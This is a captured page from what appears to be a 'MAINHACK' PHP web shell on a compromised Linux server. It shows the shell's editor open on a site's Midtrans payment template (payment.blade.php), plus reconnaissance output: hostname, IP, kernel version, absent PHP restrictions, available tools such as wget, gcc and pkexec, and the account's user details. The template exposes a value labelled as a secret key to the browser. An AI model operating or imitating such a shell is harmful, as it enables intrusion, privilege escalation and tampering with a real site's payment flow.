[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: payment.blade.php
<html> <head> <meta name="viewport" content="width=device-width, initial-scale=1"> <link href="https://fonts.googleapis.com/css?family=Roboto:300,400,500,700" rel="stylesheet"> <!-- @TODO: replace SET_YOUR_CLIENT_KEY_HERE with your client key --> <script type="text/javascript" src="https://app.sandbox.midtrans.com/snap/snap.js" data-client-key="{{ $data['midtrans_secret'] }}"></script> <!-- Note: replace with src="https://app.midtrans.com/snap/snap.js" for Production environment --> <script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script> </head> <body> <form action="{{ route($data['fallback_url'], $data) }}" id="submit_form" method="POST"> @csrf <input type="hidden" name="json" id="json_callback"> </form> <script type="text/javascript"> // For example trigger on button clicked, or any time you need // Trigger snap popup. @TODO: Replace TRANSACTION_TOKEN_HERE with your transaction token window.snap.pay('{{ $data['snap_token'] }}', { onSuccess: function(result) { /* You may add your own implementation here */ console.log(result); send_response_to_form(result); }, onPending: function(result) { /* You may add your own implementation here */ console.log(result); send_response_to_form(result); }, onError: function(result) { /* You may add your own implementation here */ console.log(result); send_response_to_form(result); }, onClose: function() { /* You may add your own implementation here */ alert('you closed the popup without finishing the payment'); } }) function send_response_to_form(result) { document.getElementById('json_callback').value = JSON.stringify(result); $('#submit_form').submit(); } </script> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.8 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002